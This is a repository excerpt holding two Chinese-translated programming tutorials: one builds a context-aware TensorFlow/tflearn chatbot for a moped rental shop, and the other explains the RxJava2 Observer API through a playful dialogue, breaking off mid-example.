构建一个能够处理上下文的聊天机器人框架。\n\n有没有想过为什么大多数聊天机器人都不能够理解语境的上下文？\n\n怎么可能在所有的对话中考虑到上下文的重要性？\n\n我们将创建一个“聊天机器人”框架，并为一个岛上的汽车出租店建立一个会话模型，这个小型的聊天机器人需要能够处理关于时间计算，预订选择等简单的功能。我们还希望他能够响应一些上下文的操作，譬如询问当天的租金。这样的话，我们的工作就可以减轻不少。\n\n我们将通过下面三步来实现这个功能：\n\n- 首先，把对话意图的定义转换成 TensoFlow 模型\n- 接下来，我们构建一个聊天机器人框架来处理响应\n- 最后，我们将展示如何将基本的上下文合并到我们的相应处理模块中\n\n我们将使用在 TensorFlow 上构建的高层次 API，也即  [**tflearn**](http://tflearn.org/) ，当然还有 [**Python**](https://www.python.org/) ，同时还使用 [**iPython notebook**](https://ipython.org/notebook.html) 来更好的完成我们的工作\n\n\n---\n\n#### 将会话意图的定义转换为 TensorFlow 模型\n\n这一部分的完整笔记在[这里](https://github.com/ugik/notebooks/blob/master/Tensorflow%20chat-bot%20model.ipynb)\n\n一个聊天机器人框架需要一个结构，而其中就定义了会话的意图，在这里我们使用了 json 文件来定义他，如这个[文件](https://github.com/ugik/notebooks/blob/master/intents.json)中所示\n\n![](https://cdn-images-1.medium.com/max/800/1*pcbw_Y4acT750-lL98iw2Q.png)\n\n聊天机器人的意图\n每个对话的意图都包含：\n\n- 一个 **标签**（tag，唯一标识的名字）\n- **模式**（神经网络文本分类器的句子模式）\n- **响应**（用作响应）\n\n晚些我们将 **添加一些基本的上下文元素**\n\n首先 import 需要的库\n\n```Python\n# NLP 相关的处理库\nimport nltk\nfrom nltk.stem.lancaster import LancasterStemmer\nstemmer = LancasterStemmer()\n\n# TensorFlow 相关的库\nimport numpy as np\nimport tflearn\nimport tensorflow as tf\nimport random\n```\n\n如果你想入门 TensorFlow ，可以看[这篇文章](https://chatbotslife.com/deep-learning-in-7-lines-of-code-7879a8ef8cfb)，若要进一步的了解的话可以看[这篇文章](https://chatbotslife.com/tensorflow-demystified-80987184faf7)。\n\n```Python\n# import our chat-bot intents file\nimport json\nwith open('intents.json') as json_data:\n    intents = json.load(json_data)\n```\n\n\n意图的 JSON 文件被加载后，我们现在可以开始组织我们的文档、文字和分类器对应的类别。\n\n\n```Python\nwords = []\nclasses = []\ndocuments = []\nignore_words = ['?']\n# 根据意图遍历所有的句子\nfor intent in intents['intents']:\n    for pattern in intent['patterns']:\n        # 分词\n        w = nltk.word_tokenize(pattern)\n        # 将词添加到列表中\n        words.extend(w)\n        # 将文档添加到词料库\n        documents.append((w, intent['tag']))\n        # 将 Tag 添加到类别中\n        if intent['tag'] not in classes:\n            classes.append(intent['tag'])\n\n# 将词小写然后去掉忽略的词\nwords = [stemmer.stem(w.lower()) for w in words if w not in ignore_words]\nwords = sorted(list(set(words)))\n\n# 使用 set 去掉重复的词\nclasses = sorted(list(set(classes)))\n\nprint (len(documents), \"documents\")\nprint (len(classes), \"classes\", classes)\nprint (len(words), \"unique stemmed words\", words)\n```\n\n我们创建了一个文档（句子）列表，每个句子都是一个词干的列表，每个文档都与一个意图（一个类）相关。\n\n```Python\n27 documents\n9 classes ['goodbye', 'greeting', 'hours', 'mopeds', 'opentoday', 'payments', 'rental', 'thanks', 'today']\n44 unique stemmed words [\"'d\", 'a', 'ar', 'bye', 'can', 'card', 'cash', 'credit', 'day', 'do', 'doe', 'good', 'goodby', 'hav', 'hello', 'help', 'hi', 'hour', 'how', 'i', 'is', 'kind', 'lat', 'lik', 'mastercard', 'mop', 'of', 'on', 'op', 'rent', 'see', 'tak', 'thank', 'that', 'ther', 'thi', 'to', 'today', 'we', 'what', 'when', 'which', 'work', 'you']\n```\n\n词干 \"tak\" 将会和 \"take\", \"taking\",\"takers\" 等词匹配。我们可以清理单词列表并删除无用的条目，但这就足够了。\n\n但是目前的数据结构不能够被 TensorFlow 利用，我们需要进一步的转换它： **也即将文档中的词转换成数字的张量。**\n\n\n```Python\n# 创建训练数据\ntraining = []\noutput = []\n# 创建一个空数组来储存输出\noutput_empty = [0] * len(classes)\n\n# 每个句子的训练集和词袋\nfor doc in documents:\n    # 初始化词袋\n    bag = []\n    # 列出文档中所有的词\n    pattern_words = doc[0]\n    # 让词成为词干\n    pattern_words = [stemmer.stem(word.lower()) for word in pattern_words]\n    # 创建我们的词袋数组\n    for w in words:\n        bag.append(1) if w in pattern_words else bag.append(0)\n\n    # 如果是当前的标记输出 1 ，否的话输出 0\n    output_row = list(output_empty)\n    output_row[classes.index(doc[1])] = 1\n\n    training.append([bag, output_row])\n\n# 打乱训练集并且转换成 np.array 类型\nrandom.shuffle(training)\ntraining = np.array(training)\n\n# 创建训练集\ntrain_x = list(training[:,0])\ntrain_y = list(training[:,1])\n```\n\n注意，我们的数据被打乱了。TensorFlow 会使用其中一部分数据用作测试， **以评估训练模型的准确性。**\n\n下面是一个 x 和 y 的列表元素，也即[词袋](https://en.wikipedia.org/wiki/Bag-of-words_model)数组，一个是意图的模式，另一个是意图所对应的类。\n\n```Python\ntrain_x example: [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1]\ntrain_y example: [0, 0, 1, 0, 0, 0, 0, 0, 0]\n```\n\n我们已经准备好了，可以创建我们的模型了。\n\n```Python\n# 重置底层图数据\ntf.reset_default_graph()\n# 创建神经网络\nnet = tflearn.input_data(shape=[None, len(train_x[0])])\nnet = tflearn.fully_connected(net, 8)\nnet = tflearn.fully_connected(net, 8)\nnet = tflearn.fully_connected(net, len(train_y[0]), activation='softmax')\nnet = tflearn.regression(net)\n\n# 定义模型并创建 tensorboard\nmodel = tflearn.DNN(net, tensorboard_dir='tflearn_logs')\n# 使用梯度下降方法训练模型\nmodel.fit(train_x, train_y, n_epoch=1000, batch_size=8, show_metric=True)\nmodel.save('model.tflearn')\n```\n\n这个张量的结构与我们[之前在一篇文章](https://chatbotslife.com/deep-learning-in-7-lines-of-code-7879a8ef8cfb)中使用的 2 层神经网络是相同的，训练模型的方式是不会过时的。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*5UIqnedBzsYTXJ81wEU-vg.gif)\n\n使用 tflearn 交互式构建模型\n为了完成这部分的工作，我们将序列化保存（pickle）模型和文档以便我们在以后的 Jupyter Notebook 中可以使用他们。\n\n```Python\n# 保存我们所有的数据结构\nimport pickle\npickle.dump( {'words':words, 'classes':classes, 'train_x':train_x, 'train_y':train_y}, open( \"training_data\", \"wb\" ) )\n```\n\n---\n\n\n#### 创建我们的聊天机器人框架\n\n这部分的完整 notebook 在[这里](https://github.com/ugik/notebooks/blob/master/Tensorflow%20chat-bot%20response.ipynb)可以下载。\n\n我们创建了一个简单的状态机来处理响应，用我们的意图模型（上一步训练的结果）作为分类器。 [聊天机器人是如何工作的](https://medium.freecodecamp.com/how-chat-bots-work-dfff656a35e2)\n\n> 上下文的聊天机器人框架是 **状态机** 内的一个分类器。\n\n加载相同的导入模块后，我们将 **反序列化** 我们的模型和文档并且重新加载我们的意图文件。记住我们的 chat-bot 框架是和我们的模型分开来构建的—你不需要重新构建你的模型除非意图模式发生改变。因为有几百个意图和数千个模式，所以这个模型可能需要几分钟的时间来构建。\n\n```Python\n# 重置变量\nimport pickle\ndata = pickle.load( open( \"training_data\", \"rb\" ) )\nwords = data['words']\nclasses = data['classes']\ntrain_x = data['train_x']\ntrain_y = data['train_y']\n\n# 导入聊天机器人的意图文件\nimport json\nwith open('intents.json') as json_data:\n    intents = json.load(json_data)\n```\n\n接下来将加载我们保存在 TensorFlow (tflearn framework) 上的模型。首先我们需要和前面章节所述的一样来定义 TensorFlow 模型的结构。\n\n```Python\n# 加载保存的模型\nmodel.load('./model.tflearn')\n```\n\n在开始处理意图之前，我们需要 **从用户的输入** 中生成词袋（bag-of-words），这和我们之前创建训练文档时使用的技术是一样的。\n\n```Python\ndef clean_up_sentence(sentence):\n    # 分词\n    sentence_words = nltk.word_tokenize(sentence)\n    # 转换句子为词干\n    sentence_words = [stemmer.stem(word.lower()) for word in sentence_words]\n    return sentence_words\n\n# 返回词袋数组，每个数组的下标表示词的序号，如果句子包含该词，则该数组词为 1，否为 0\ndef bow(sentence, words, show_details=False):\n    # pattern 分词\n    sentence_words = clean_up_sentence(sentence)\n    # 词袋\n    bag = [0]*len(words)\n    for s in sentence_words:\n        for i,w in enumerate(words):\n            if w == s:\n                bag[i] = 1\n                if show_details:\n                    print (\"found in bag: %s\" % w)\n\n    return(np.array(bag))\n```\n\n```\np = bow(\"is your shop open today?\", words)\nprint (p)\n[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1 0 0 0 0 0 1 0]\n```\n\n我们现在可以构建我们的响应处理器了。\n\n```Python\nERROR_THRESHOLD = 0.25\ndef classify(sentence):\n    # 得出预测的概率\n    results = model.predict([bow(sentence, words)])[0]\n    # 根据概率值过滤结果\n    results = [[i,r] for i,r in enumerate(results) if r>ERROR_THRESHOLD]\n    # 根据返回值长度降序排序\n    results.sort(key=lambda x: x[1], reverse=True)\n    return_list = []\n    for r in results:\n        return_list.append((classes[r[0]], r[1]))\n    # 返回包含意图和概率的元组\n    return return_list\n\ndef response(sentence, userID='123', show_details=False):\n    results = classify(sentence)\n    # results 不为空则循环找到匹配的 tag\n    if results:\n        # 循环找到匹配的 tag\n        while results:\n            for i in intents['intents']:\n                # 是否匹配\n                if i['tag'] == results[0][0]:\n                    # 随机输出一个响应？？\n                    return print(random.choice(i['responses']))\n            results.pop(0)\n```\n\n句子传递到 response() 方法后会被分类。我们分类器使用 **model.predict()** 方法是响应很快的。模型返回的响应结果的概率列表是和我们的意图定义一起处理的。\n\n如果一个或多个分类器超过一个阈值，那么我们就会看到一个标记是否匹配一个意图然后再处理它。分类器列表将会当成栈，然后不断的从栈中弹出一个元素来进行匹配是否符合，直到空栈为止。\n\n让我们来看一个分类器的例子，我们看到最可能的标记和它所对应的概率值被返回了。\n\n```Python\nclassify('is your shop open today?')\n[('opentoday', 0.9264171123504639)]\n```\n\n注意到“你的商店今天营业吗”并不是这种意图的模式之一： **模式：[\"你今天开着吗?\"，\"你今天什么时候开?\"，\"你今天营业几小时?\"]** ，然而词“开”和“今天”对我们的模式来说是很重要的（也就是说他们决定了模型会选择什么意图）。\n\n所以我们就可以根据用户的输入生成一个 chat-bot 的回应\n\n```Python\nresponse('is your shop open today?')\nOur hours are 9am-9pm every day\n```\n\n下面是另外一个上下文无关的响应。\n\n```Python\nresponse('do you take cash?')\nWe accept VISA, Mastercard and AMEX\nresponse('what kind of mopeds do you rent?')\nWe rent Yamaha, Piaggio and Vespa mopeds\nresponse('Goodbye, see you later')\nBye! Come back again soon.\n```\n\n---\n\n\n让我们给出租汽车的聊天机器人加入一些基本的上下文吧。\n\n#### 情景化\n\n我们想要让聊天机器人处理关于出租汽车的对话，比如询问客户是否要今天租赁。这个问题是一个简单的上下文响应，如果用户回复“今天”，那么上下文就是租赁时间，这个时候就赶紧给租赁公司打电话吧，他不想错过这个订单的。\n\n为了实现这一目的，我们在框架中添加了状态这个概念。这由一个保存状态的数据结构和操作状态的特定代码组成，以便处理意图。\n\n因为状态机（state-machine）需要很容易地持久化、恢复、复制等等，所以把它保存在像字典这样的数据结构中是很重要的。\n\n以下是我们对基本情景化的反应过程：\n\n```Python\n\n# 字典储存上下文\ncontext = {}\nERROR_THRESHOLD = 0.25\ndef classify(sentence):\n    # 得到的预测的结果（概率）列表\n    results = model.predict([bow(sentence, words)])[0]\n    # 根据错误阈值筛选预测的结果\n    results = [[i,r] for i,r in enumerate(results) if r>ERROR_THRESHOLD]\n    # 根据概率值倒序排序\n    results.sort(key=lambda x: x[1], reverse=True)\n    return_list = []\n    for r in results:\n        return_list.append((classes[r[0]], r[1]))\n    # 返回意图和概率的元组\n    return return_list\n\ndef response(sentence, userID='123', show_details=False):\n    results = classify(sentence)\n    # 根据分类结果匹配意图标签\n    if results:\n        # 循环匹配\n        while results:\n            for i in intents['intents']:\n                # 寻找与第一个结果匹配的标签\n                if i['tag'] == results[0][0]:\n                    # 在必要时为这个意图设置上下文\n                    if 'context_set' in i:\n                        if show_details: print ('context:', i['context_set'])\n                        context[userID] = i['context_set']\n                    # 检查这个意图是否与上下文相关然后与当前用户关联\n                    if not 'context_filter' in i or \\\n                        (userID in context and 'context_filter' in i and i['context_filter'] == context[userID]):\n                        if show_details: print ('tag:', i['tag'])\n                        # 返回响应\n                        return print(random.choice(i['responses']))\n            results.pop(0)\n```\n\n我们的上下文状态是一个字典，他将包含每个用户的状态。每个用户都有唯一的标识符，从而达到让我们的框架能够 **无缝地维持多个用户之间的状态。**\n\n> # 使用字典来维持用户的上下文\n> context = {}\n\n上下文处理程序被添加到意图处理流中，如下所示:\n\n```Python\n\tif i['tag'] == results[0][0]:\n\t# 在必要时为这个意图设置上下文\n\tif 'context_set' in i:\n\t\tif show_details: print ('context:', i['context_set'])\n\t\tcontext[userID] = i['context_set']\n\t\t# 检查这个意图是否与上下文相关然后与当前用户关联\n\t\tif not 'context_filter' in i or \\\n\t\t\t(userID in context and 'context_filter' in i and i['context_filter'] == context[userID]):\n\t\t\tif show_details: print ('tag:', i['tag'])\n\t\t\t# 返回响应\n\t\t\treturn print(random.choice(i['responses']))\n```\n\n如果一个意图想要设置上下文，他可以这样做：\n\n```Python\n{“tag”: “rental”,\n “patterns”: [“Can we rent a moped?”, “I’d like to rent a moped”, … ],\n “responses”: [“Are you looking to rent today or later this week?”],\n “context_set”: “rentalday”\n }\n```\n\n如果另外一个意图想要和上下文联系，那么他可以这样做：\n\n```Python\n{“tag”: “today”,\n “patterns”: [“today”],\n “responses”: [“For rentals today please call 1–800-MYMOPED”, …],\n“context_filter”: “rentalday”\n }\n```\n\n用这种方式，当用户只是意料之外地输入“今天“的时候（没有上下文），“今天” 这个意图就不会被处理。当他们输入的 “今天” 作为回复我们提出的问题的时候，那么这个意图就会被处理。\n\n```Python\nresponse('we want to rent a moped')\nAre you looking to rent today or later this week?\nresponse('today')\nSame-day rentals please call 1-800-MYMOPED\n```\n\n我们的上下文状态就会改变\n\n```\ncontext\n{'123': 'rentalday'}\n```\n\n我们定义“问候”的语句来清除上下文，就像闲聊时经常发生的那样。我们添加了一个 “查看详情” 的参数来帮助我们查看内部的运作。\n\n```\nresponse(\"Hi there!\", show_details=True)\ncontext: ''\ntag: greeting\nGood to see you again\n```\n\n让我们再尝试一下输入 “今天”，这里有一些需要注意的东西...\n\n```Python\nresponse('today')\nWe're open every day from 9am-9pm\nclassify('today')\n[('today', 0.5322513580322266), ('opentoday', 0.2611265480518341)]\n```\n\n首先，我们对上下文无关的“今天”的反应是不同的。我们的分类产生了 2 个合适的意图，但是 'opentoday' 被选中， 'today' 意图虽然具备更高的可能性，但是却被限制在一个不再合适的环境中，**所以说上下文很重要**。\n\n```Python\nresponse(\"thanks, your great\")\nHappy to help!\n```\n\n---\n\n在语境化发生的情况下有几件事情需要考虑。\n\n#### 维持状态\n\n没错，你的聊天机器人将不再是一种 **无状态的服务**。\n\n除非你想重新构建状态，重新加载模型和文档—每次调用你的聊天机器人框架时，你都需要使其成为有状态的。\n\n这并不是那么难，你可以运行一个有状态的聊天机器人框架的过程，也即使用远程过程调用 RPC 或者远程方法调用 RMI，在这里我推荐使用 [Pyro](http:/。pythonhosted.org/Pyro4/)。\n\n![](https://cdn-images-1.medium.com/max/600/1*hpbuSvovqSyVY-nhBcoIaQ.jpeg)\n\nRMI 客户端和服务器设置\n用户界面（客户端）通常是无状态的，例如。HTTP 或 SMS。\n\n你 **客户端** 的聊天机器人将会创建一个 Pyro 函数调用，你的有状态服务将会处理他。\n\n这里有一篇一步一步指导你构建 Twilio SMS 聊天机器人客户端的[文章](https://chatbotslife.com/build-a-working-sms-chat-bot-in-10-minutes-b8278d80cc7a)，另外一篇[文章](https://chatbotnewsdaily.com/build-a-facebook-messenger-chat-bot-in-10-minutes-5f28fe0312cd)是关于构建 FB Messenger 的。\n\n#### 不可将状态储存在局部变量中\n\n所有的状态信息都必须放在像字典这样的数据结构中，很容易持久化、重新加载或复制。\n\n每个用户的对话都将承载为该用户提供状态的上下文。用户的唯一标识 ID 可以是手机号，Facebook 的用户 ID 或者其他的唯一标识符\n\n在一些场景中用户的对话状态需要被复制然后重新储存起来被意图所处理。如果你的状态机携带的一些状态的变量在框架中是共用的话，则很难在实际场景中实现这一工作。\n\n> Python 字典是你的朋友\n\n---\n\n现在你已经知道如何构建一个聊天机器人的框架以及使它具备有服务状态的方法，[大部分聊天机器人框架都能够无缝地处理上下文](https://medium.com/@gk_/the-future-of-messaging-apps-590720cfa792)。\n\n多想一些有创意的方法来影响聊天机器人对不同上下文所做出设置。你的用户的上下文字典可以包含各种各样的对话上下文。\n\n**享受它吧！**\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/continuation-observable-marriage-proposal-observer-dialogue-rx-observable-developer-android-rxjava2-hell-part7.md",
    "content": "> * 原文地址：[Continuation (Observable Marriage Proposal to Observer) of Dialogue between Rx Observable and a Developer (Me) [ Android RxJava2 ] ( What the hell is this ) Part7](http://www.uwanttolearn.com/android/continuation-observable-marriage-proposal-observer-dialogue-rx-observable-developer-android-rxjava2-hell-part7/)\n> * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/continuation-observable-marriage-proposal-observer-dialogue-rx-observable-developer-android-rxjava2-hell-part7.md](https://github.com/xitu/gold-miner/blob/master/TODO/continuation-observable-marriage-proposal-observer-dialogue-rx-observable-developer-android-rxjava2-hell-part7.md)\n> * 译者：[dieyidezui](http://dieyidezui.com)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5)\n\n# 大话（Observable 向 Observer 求婚）之我与 Rx Observable [Android RxJava2]（这是什么鬼）第七话\n\n哇哦，又是新的一天，是时候学些新知识了。\n\n大家好，希望你们都过得不错。这是我们的 RxJava2 Android 系列第七篇文章了，[ [part1](https://juejin.im/entry/58ada9738fd9c5006704f5a1)，[part2](https://juejin.im/entry/58d78547a22b9d006465ca57)，[part3](https://juejin.im/entry/591298eea0bb9f0058b35c7f)，[part4](https://github.com/xitu/gold-miner/blob/master/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md)，[part5](https://juejin.im/post/590ab4f7128fe10058f35119)，[part6](https://github.com/xitu/gold-miner/blob/master/TODO/continuation-summer-vs-winter-observable-dialogue-rx-observable-developer-android-rxjava2-hell-part6.md)，[part7](https://github.com/xitu/gold-miner/blob/master/TODO/continuation-observable-marriage-proposal-observer-dialogue-rx-observable-developer-android-rxjava2-hell-part7.md)，[part8](https://github.com/xitu/gold-miner/blob/master/TODO/confusion-subject-observable-observer-android-rxjava2-hell-part8.md)]。这篇文章里我们将继续和 Rx 聊聊天。\n\n**动机：**\n\n动机和我在[第一部分](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)介绍给大家的一样。\n\n**前言：**\n\n这篇文章没什么前言，因为这是上篇文章的续集呀。但是开始之前，我想我们还是要先复习一下上篇文章的内容。上篇文章中，Rx Observerable 告诉了我们冷热 Observeable 的含义，随后我向大家分享了一个相关概念的例子。再然后，我问到了 Subject。可是 Observable 觉得我们在了解 Subject API 之前要先熟悉 Observer API。所以我们这次从 Observer API 处继续我们的对话。\n\n**续集:**\n\n我：是的，那你能否告诉我 Subject 的相关概念 和 他的不同实例，如 Publish、Behaviour 等。\n\nObservable：呃...我觉得在了解这些之前，我得先和你聊聊 Observer 的 API 以及他们是如何工作的，并让你知道如何使用 Lambda 或者函数式接口来替代一个完整的 Observer 接口。你觉得如何？\n\n我：没问题，我听你的。\n\nObservable：其实我们已经了解了 Observables。而且在之前的例子中，我们大量使用了多种 Observer。但我觉得在学习新的 API 之前我们还是应该先学习她（Observer）。我们等等她，五六分钟就到了。\n\nObserver：你好啊，Observable。最近怎么样？\n\nObservable：多谢关心，还不错。 Observer，他(即我)是我的新朋友。他正在学习我们，所以我希望你把你自己教给他。\n\nObserver:没问题，你（对我）好啊？\n\n我：你好啊，我挺好的，谢谢。\n\nObserver：在我开始介绍我自己之前，我有一个问题，你知道函数式接口吗?\n\n我：当然。\n（注解：如果有人想复习一下这些概念，请参考 [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/) )\n\nObserver：很棒。所以你已经知道 Observable 是那个观察数据流改变的角色了吧。如果有任何的改变，Observable 会通知他的观察者（们）。因此 Observable 有很多类型，**但是**你要知道没有我（Observer），他（Observable）什么也不是 😛 。\n\nObservable：哈哈哈，完全正确，亲爱的（比心）。\n\nObserver：任何地方只要你能看到 Observable，就百分百可以看到我。你可以认为我就是 Observable 和开发者们（比如我，等等）之间的桥梁。比如你是一个 Rx 的新手，你想要使用一些依赖 Rx 的第三方库。你只有了解我，才能掌握那个库。我觉得这个说法不为过。\n\n我：🙂。\n\nObserver：任何时候你想要知道 Observable 关心的那些数据产生了变化或者有什么事件发生了，你需要使用我来订阅那个 Observable。然后当 Observable 想要通知你那些变化时，他会通过我来转告你。 _所以你可以有很多种方式使用我_ ，但是首先我会从我最基本的 API 讲起。\n\n我：额，我对你的那句“你可以有很多种方式使用我”有些困惑。\n\nObserver：听我说完，我相信最后就没有困惑了。我最基本的 API 有四个方法，如下所示。\n\n```\npublic interface Observer<T> {\n    void onSubscribe(Disposable var1);\n\n    void onNext(T var1);\n\n    void onError(Throwable var1);\n\n    void onComplete();\n}\n```\n\n这里 T 是 Java 的泛型。我觉得不需要大篇幅讨论 Java 的泛型。简单地说泛型就是如果你在等待 Persion 类型的数据，那么 T 就是 Persion 类。这里不需要强制使用所有的四个基本 API，这完全取决于你的需求。我等会将会给你一些例子，你可以轻易的决定什么时候使用这些基本的 API，什么时候使用更简化的 API。\n现在我先一次介绍一个方法。\n\n```\nvoid onSubscribe(Disposable var1);:\n```\n\n任何时候当你将 Observer 关联上了 Observable，你将会获得一个 **Disposable** 对象。他有着非常简单的 API，如下所示。\n\n```\npublic interface Disposable {\n    void dispose();\n\n    boolean isDisposed();\n}\n```\n\n调用 dispose() 意味着你不再关注 Observable 的变化。所以任何时候当我想要离开 Observable 时，我就会调用我的 **Disposable var1;**. **var1.dispose()** 方法。这也意味着我（Observer）和 Observable 分开了。在那之后任何发生在 Observable 上的事件我都不在关心，我也不会再更新或者传达这个变化。我稍后会给你展示这个特性非常适合一些场景，尤其是在 Android 上。\n第二个是 isDisposed()，这个方法仅在少数情况有用处，比如我想从 Observable 取得数据，但是我不知道我是否已经被脱离了，所以我可以用它来检测是否我被脱离了。反之亦然，在我主动脱离之前，我不确定我是否已经脱离，我可以调用这个方法来检测。如果我调用这个方法后结果是 false，那么意味着我还没有被脱离，从而我就可以调用 dispose() 方法。\n\n```\nvoid onNext(T var1);:\n```\n\n当我订阅 Observable 后，如果 Observable 想要通知我有变化或者新数据时，就会调用这个方法。\n我觉得我需要解释得更与众不同一些。当 Observable 想要和我结婚时，他就会暴露他的 API subscribe(Observer) 给我，然后通过调用他的 subscribe() API 我接受了他的求婚，但是重要的是我也得到了 Disposable 对象，这意味着我可以在任何时候和 Observable 离婚。在我们结婚期间，Observable 会在他的数据或者事件流有任何变化时通知我。这个时候，Observable 就会调用我的 onNext([any data]) 方法。所以简单的说当 Observable 的数据有任何变化时就会通过我的 onNext(T data) method 方法通知开发者（我）。\n\n```\nvoid onError(Throwable var1);:\n```\n\n这个 API 对我来说更加关键和重要。任何时候当 Observable 发现了致命的问题，他就会使用我的 onError(Throwable var1) API 通知我。Throwable 会告诉我他的崩溃原因或者出现了什么问题。\n这也意味着任何时候 onError() 被调用后，Disposable.isDispose() 方法永远会返回 true。所以即使我从不请求离婚，但是当 Observable 面临一些问题后死去，我可以使用 isDispose() 并得到返回值 true 来发觉这个情况。\n\n```\nvoid onComplete();:\n```\n\n这个 API 对我同样的关键和重要。任何时候 Observable 准备好死亡或者与我脱离时，他会使用 onComplete() 来通知我。同样 Observable 死亡或者与我脱离时，我的 Disposable 会与在 onError() API 中表现得一致。以上的概念希望我都讲清了。\n\n我：是的，我只有一个问题。onError 和 onComplete 的区别是什么，因为在这两个方法调用后 Observable 都不能再给我发送任何数据的变化。\n\nObserver：你可以认为 Observable 因 onError 而死就像人类因为一些疾病而死。比如 Observable 正在观察服务器的数据但是服务器挂掉了，所以 Observable 是因为某个原因而死亡，而这个原因你将会从 onError 的 Throwable 对象中获得。也许是 500 错误码，服务器没有响应。反之 Observable 因 onComplete() 而死意味着服务器向 Observable 发送了一个完成的消息，在那之后 Observable 不再适合承载更多的数据，因为他的职责是只从服务器获取一次数据。所以在调用 onComplete() 后他将会自然死亡。这就是为什么 Observer，也就是我不能获取到死亡的原因，因为他是自然死亡的。有个值得关注的地方，当 onError 被调用后逻辑上 onComplete 是不能被 Observable 调用的，反之亦然。简单地说 Observable 只能调用这两个方法之一，onError 或 onComplete。Observable 决不允许同时调用 onError 和 onComplete。这下都清楚了吗？\n\n我：喔，清楚了。\n\nObserver：现在我将会给你演示如何在实践中使用我。这个例子中，我将会创建一个每秒都会给我数据的 Observable。我会用不同的方式使用这些数据和 Observable 来让你清楚地明白我所有的 API。\n\n```\nprivate static Observable<Object> getObservable() {\n    return Observable.create(observableEmitter -> {\n        Observable.interval(1000, TimeUnit.MILLISECONDS)\n                .subscribe(aLong -> observableEmitter.onNext(new Object()));\n    });\n}\n```\n\n虽然这确实简单的方法，但是可能还是会让你感到困惑。当我与这个 Observable 结婚后，他会每秒给我一个数据。你看到 Observable<Object> 是这个方法的返回类型。因此任何时候我订阅或者与这个 Observable 结婚我将会得到 Object 类型的数据。下面我将会忽略这些数据并只关注自己方法的调用。\n\n```\nObserver<Object> observer = new Observer<Object>() {\n    @Override\n    public void onSubscribe(Disposable disposable) {\n        ObserverLecture.disposable = disposable;\n    }\n\n    @Override\n    public void onNext(Object o) {\n        System.out.println(\"onNext called\");\n    }\n\n    @Override\n    public void onError(Throwable throwable) {\n        System.out.println(\"onError called. Die due to reason: \"+throwable.getMessage());\n    }\n\n    @Override\n    public void onComplete() {\n        System.out.println(\"onComplete: Die with natural death\");\n    }\n};\n```\n\n是的，那就是我，彪悍的人生不需要解释。每当我想要和这个 Observable 结婚或者订阅他时，我会把我传入 Observable.subscribe() 方法。\n\n```\ngetObservable().subscribe(observer);\n```\n\n这里你看到了，我和这位 Observable 先生已经结婚了。🙂 \n\n完整的代码：\n\n```\npublic class ObserverLecture {\n\n    private static Disposable disposable;\n\n    public static void main(String[] args) {\n\n        Observer<Object> observer = new Observer<Object>() {\n\n            @Override\n            public void onSubscribe(Disposable disposable) {\n                ObserverLecture.disposable = disposable;\n            }\n            @Override\n            public void onNext(Object o) {\n                System.out.println(\"onNext called\");\n            }\n            @Override\n            public void onError(Throwable throwable) {\n                System.out.println(\"onError called. Die due to reason: \"+throwable.getMessage());\n            }\n           @Override\n            public void onComplete() {\n                System.out.println(\"onComplete: Die with natural death\");\n            }\n        };\n        getObservable().subscribe(observer);\n        while (true);\n    }\n    \n    private static Observable<Object> getObservable() {\n        return Observable.create(observableEmitter -> {\n            Observable.interval(1000, TimeUnit.MILLISECONDS)\n                    .subscribe(aLong -> observableEmitter.onNext(new Object()));\n        });\n    }\n}\n```\n\n如果我运行这片代码，我会持续地得到下面的输出，也意味着这个程序永远不会退出。\n\n输出：\nonNext called\nonNext called\nonNext called\nonNext called\nonNext called\n\n现在我决定向你展示 Disposable，看看我们讨论的是不是对的。我会先给你看看 isDisposable() 方法的使用，他会告诉我我是不是被离婚了。\n\n```\n/**\n * Created by waleed on 14/05/2017.\n */\npublic class ObserverLecture {\n\n    private static Disposable disposable;\n\n    public static void main(String[] args) throws InterruptedException {\n\n        Observer<Object> observer = new Observer<Object>() {\n            @Override\n            public void onSubscribe(Disposable disposable) {\n                ObserverLecture.disposable = disposable;\n            }\n\n            @Override\n            public void onNext(Object o) {\n                System.out.println(\"onNext called\");\n            }\n\n            @Override\n            public void onError(Throwable throwable) {\n                System.out.println(\"onError called. Die due to reason: \"+throwable.getMessage());\n            }\n\n            @Override\n            public void onComplete() {\n                System.out.println(\"onComplete: Die with natural death\");\n            }\n        };\n\n        getObservable().subscribe(observer);\n\n\n        while (true){\n            Thread.sleep(1000);\n            System.out.println(\"disposable.isDisposed(): \"+disposable.isDisposed());\n        }\n\n    }\n\n    private static Observable<Object> getObservable() {\n        return Observable.create(observableEmitter -> {\n            Observable.interval(1000, TimeUnit.MILLISECONDS)\n                    .subscribe(aLong -> observableEmitter.onNext(new Object()));\n        });\n    }\n}\n```\n\n这片代码和上面的很像，只有 while 循环这一处改变了。在 while 循环中，每一秒我都会打印 Disposable 的值来表明 Observer 是否被离婚了。\n输出：\ndisposable.isDisposed(): 